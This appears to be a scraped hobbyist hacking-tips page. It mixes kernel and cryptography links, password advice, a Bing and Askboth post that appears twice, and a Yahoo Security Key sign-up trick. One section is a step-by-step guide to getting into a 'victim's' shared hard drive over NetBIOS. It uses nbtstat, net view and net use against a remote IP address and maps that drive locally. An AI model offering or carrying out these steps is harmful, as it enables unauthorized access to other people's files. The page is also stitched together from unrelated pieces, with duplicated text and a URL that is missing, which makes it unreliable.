Hacking the Linux 2.6 Kernel Part One. It isn't just for geniuses. Honest! Added bonus: written by two young lady hackers. Yes, hacking is for women, too.
Hacking the Linux 2.6 Kernel Part Two. Another tutorial written by women hackers.
http://www.linuxchix.org/ Where the women hackers gather and code cool stuff. Men allowed, but only if polite.
If you are new to cryptography, you can make a good start by reading Crypto by Steven Levy. The book is fun read, tells about the lives of the people who made cryptographic discoveries, and along the way you know why the knapsack problem and many other fun and entertaining math problems are central to cryptography
Next, you may want to jump straight to the surprisingly easy and fun basic math. Modern cryptography is based upon decision problems, meaning problems that have an answer or either yes, no, or "I can't tell!!!" "Computers and Intractability: A Guide to the Theory of NP-Completeness" is brilliant, yet easy to read and understand.
Cool stuff
http://www.malware.com The best place to find demonstrations of vulnerabilities on the IE browser.
The Guides to (mostly) Harmless Hacking -- Programmers' Series
The Linux manual pages. Don't worry about the Korean characters. Just type in the name of the command you are curious about and hit enter for a manual page readout.
Today tip will help you to secure your computer from the access of professional hackers. There are some hacker’s breaks into your computer without using any impressive programming skills but trying to find words to guess as your password. Normally people use their name, house number, mobile number and word “password” as a password. If you have very simple password then a hacker can hack your computer very easily. To safe your computer from hackers there is a best way to create a tricky password. Here I will tell you some different type of tricks to make your password that can’t guess easily by any body.
Use the maximum characters in your password.
Always set the password using maximum characters length, because it is simple method, if your password is longer then it is very difficult to guess.
Use the combination of lower-case and upper case letters in your password.
Normally computer users use the lower case in password selection but it is best practice to use the combination of both (lower-case and upper case). So using different cases in your password makes it much more difficult to crack.
Use the combination of letters and numbers in your password.
When you mix both letters and numbers just like one letter and one number then your password is more incomprehensible.
Avoid using the name of your family members as password.
Always try to avoid the name of your child, spouse, city and country name as password, because if any body knows about your personal life’s details then they try to use these detail to guess your password.
Use any tools to create random password.
There are many third party tools are available to create the random password. You can create passwords containing a very difficult –to-guess collection of random characters with these tools.
Sometime this comes in u r Mind Should I try Microsoft’s beautiful search engine – Bing? Or should I stick to my all time favorite – Google? Torn between the two? In case you are, not to worry, now you have the option to ask them both together! Askboth.com is a new web 2.0 twin search engine for you, coupled with Google as well as Bing, keeping all that confusion at bay. This means, you can now easily search for information on both the search engines at the same time. Askboth.com has the regular features of Content Search on the Web as well as Image Search. This can also work as a SEO tool for you to compare the results on both the sites. You could even add it to your browser as your default search engine. So, all those who laid eyes on Bing and just couldn’t get enough, but also couldn’t let go of old pal Google, this seems like an appealing option. Try it out to see if it tickles your fancy.
I ALSO ADDED SOME FIVE BING TIPS YOU SHOULD KNOW
1. IP Address Tracker
The Bing can verify any IP address and can tell you the name of the websites hosted on a particular IP address. To do that simply type,
IP:[ IP Address ]
The search result will display the sites hosted on that IP address.
2. Know More About Companies From The IE Favorites
You need Internet Explorer 8 for this. Searching for company stocks like ‘GOOG’ on Bing will automatically create a web slice which can then be added to the IE Favorites bar.
3. Search Results as RSS Feed
This is something that I have seen to be popular among most of the users on the net. An RSS Feed of a search result can get you a variety of articles/news from other sites. Bing supports this feature. Just add at the end of the result page URL and press Enter:
&format=rss
For example, if you search for ‘iPhone’, in the results URL, just add the above and press enter. You will be subscribed to a RSS feed containing iPhone keywords which will get updated automatically.
4. Remove the background Image on the Bing site
If you are not one of those eye-candy freaks, you can remove the background image on the Bing homepage. Instead of typing bing.com, you can navigate to the site using the following URL,
You can search for MP3 files or Doc files on Bing. ‘abcd contains:mp3′
where abcd is your search term. It will generate results with pages that contain mp3 files related to the search term. Similarly for Doc files, just replace the MP3 with doc.
Sometime this comes in u r Mind Should I try Microsoft’s beautiful search engine – Bing? Or should I stick to my all time favorite – Google? Torn between the two? In case you are, not to worry, now you have the option to ask them both together! Askboth.com is a new web 2.0 twin search engine for you, coupled with Google as well as Bing, keeping all that confusion at bay. This means, you can now easily search for information on both the search engines at the same time. Askboth.com has the regular features of Content Search on the Web as well as Image Search. This can also work as a SEO tool for you to compare the results on both the sites. You could even add it to your browser as your default search engine. So, all those who laid eyes on Bing and just couldn’t get enough, but also couldn’t let go of old pal Google, this seems like an appealing option. Try it out to see if it tickles your fancy.
I ALSO ADDED SOME FIVE BING TIPS YOU SHOULD KNOW
1. IP Address Tracker
The Bing can verify any IP address and can tell you the name of the websites hosted on a particular IP address. To do that simply type,
IP:[ IP Address ]
The search result will display the sites hosted on that IP address.
2. Know More About Companies From The IE Favorites
You need Internet Explorer 8 for this. Searching for company stocks like ‘GOOG’ on Bing will automatically create a web slice which can then be added to the IE Favorites bar.
3. Search Results as RSS Feed
This is something that I have seen to be popular among most of the users on the net. An RSS Feed of a search result can get you a variety of articles/news from other sites. Bing supports this feature. Just add at the end of the result page URL and press Enter:
&format=rss
For example, if you search for ‘iPhone’, in the results URL, just add the above and press enter. You will be subscribed to a RSS feed containing iPhone keywords which will get updated automatically.
4. Remove the background Image on the Bing site
If you are not one of those eye-candy freaks, you can remove the background image on the Bing homepage. Instead of typing bing.com, you can navigate to the site using the following URL,
You can search for MP3 files or Doc files on Bing. ‘abcd contains:mp3′
where abcd is your search term. It will generate results with pages that contain mp3 files related to the search term. Similarly for Doc files, just replace the MP3 with doc.
In this step by step guide you will learn about: How to Hack Network Hard Drives using the command prompt. Things to remember
* CP = Command Prompt * HDs = Hard Drives
Step by Step: 1. Open command prompt if it's block and you don't know how to get to it go to Using the command prompt under a limited account and then continue to step #2. 2. Once in command prompt type c:\windows>nbtstat -a 203.195.136.156 (instead of the I.P. address type the real I.P. address or the name of the computer your trying to get to) and if you don't know how to get the name of the computer then go to what to do after hacking the C:\ drive and then continue to step #3. 3. Let say that it gives you this
NetBIOS Remote Machine Name Table
Name Type Status
--------------------------------------------- user <00> UNIQUE Registered workgroup <00> GROUP Registered user <03> UNIQUE Registered user <20> UNIQUE Registered
MAC Address = 00-02-44-14-23-E6
The number <20> shows that the victim has enabled the File And Printer Sharing.
-------------------------------------
NOTE - If you do not get this number there are three possible answers
A. You do not get the number <20> . This shows that the victim has not enabled the File and Printer Sharing.
B. You get "Host Not found". This shows that the port 139 is closed or the ip address or computer name doesn't exist or the computer you are trying to get to is turned off. C. its still doesn’t matter if you don't get the <20> because this is to hack hard drives and not printers 4. Now in command prompt type c:\windows>net view \\203.195.136.156
Let's suppose we get the following output
Shared resources at \\203.195.136.156 The computer's name will be here
Share name Type Used as Comment
------------------------------------------- CDISK Disk
The command completed successfully. 5. The name CDISK is one of the things that being shared on command prompt type (the word Disk at the side its just saying what the the thing being shared is a printer, disk or a file) c:\windows>net use k: \\203.195.136.156\CDISK
You may replace k letter by any other letter, If the command is successful we will get the confirmation - The command was completed successfully
Now just double click on the My Computer icon on your desktop and there will be a new drive there with the letter that you replaced K with.
Continue to Hacking network printers with the command prompt
A Yahoo Security Key will add an extra layer of protection to keep your Yahoo E-Mail Account and Screen Name safe from hackers and crackers.
What is a Yahoo! Security Key? A Yahoo! Security Key is a personal access code (like
the PIN you use at the ATM) designed to protect your
most sensitive information displayed on Yahoo!.
First..go to this link:
Code:
http://help.yahoo.com/help/us/skey/skey-01.html
At the upper left hand corner of this page please note the area.."forgot security key".....click here
Now you are presented with a log in page...log in with your Yahoo ID you want to obtain a security key for.
Now..you will be ask once again to verify your password...do so.
You are now presented with a page noting the header:
Yahoo Security Key Sign Up
Choose A Security Key
Now..enter the security key you have chosen and verify it....[ hint..do not use your regular password as your security key ]
Now you are ask to select a secret question....then to supply an answer to the secret question Please..use this example for security questions and answers: Security Question..Favorite City Security Question Answer:I like cheeto's..[ no one is going to guess this type of security question answer ]
Note your default e-mail address...[use a real e-mail address other than Yahoo] Note your zip code and country..[it does not need to be your real zip code and may be differant than the one you have noted on your Yahoo account ].
Now..print out this page for future reference.
Now simply click the submit button. Hint:if you get a "page cannot be displayed " message do not worry..simply use the "go back" feature of your browser.
You are now presented with a page asking you to verify your security key to continue..enter your security key and log in.
Here is the trick...You will receive a "page cannot be displayed message".. at this point....Do not worry..simply hit the go back feature of your browser.You will then receive a page asking you to enter your security key to continue.
Do not enter your security key at this time...simply go to the top of the page and click the Yahoo icon.You will now be directed to Yahoo's main page..and as you can see you are still logged in.
Click on the Yahoo Mail icon at the top of the Yahoo page. Once in your mail account..click the account icon at the top of this page...enter your regular Yahoo password and you are now into your Yahoo account.
Please note at this time the area of this page that says"change password". Look under this area. Now you will also have a "Change your Security Key" notation here.
You now have a security key...and your Yahoo Account is for all practical purposes uncrackable and unhackable.
I know this must seem like a lot of work..but after you do it one time..you will see that is is really simple to do..and well worth doing to protect your Yahoo Account.
I do hope this is helpful to those of you who are concerned about the security of your Yahoo Account.Yes..we have played a little trick on Yahoo...but your account is now secure..and you did not need to use a credit card.